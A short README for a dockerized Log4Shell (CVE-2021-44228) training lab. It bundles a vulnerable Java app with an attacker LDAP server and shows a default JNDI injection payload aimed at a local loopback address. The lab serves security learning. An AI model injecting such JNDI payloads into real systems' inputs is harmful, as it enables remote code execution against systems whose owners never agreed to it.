CVE-2021-44228 (Log4Shell) Vulnerability Lab Environment

Introduction

This project provides a dockerized environment for safely practicing and understanding the critical Log4j vulnerability known as CVE-2021-44228 (Log4Shell).

Key Features

• Secure dockerized testing environment
• Custom payload testing capability
• Includes attacker's LDAP server and vulnerable Java application

Getting Started

docker compose up --build

Payload Testing

1. You can modify the payload in the test section of /vulnerable/Makefile
2. The default payload uses $${jndi:ldap://127.0.0.1:10000/}

How It Works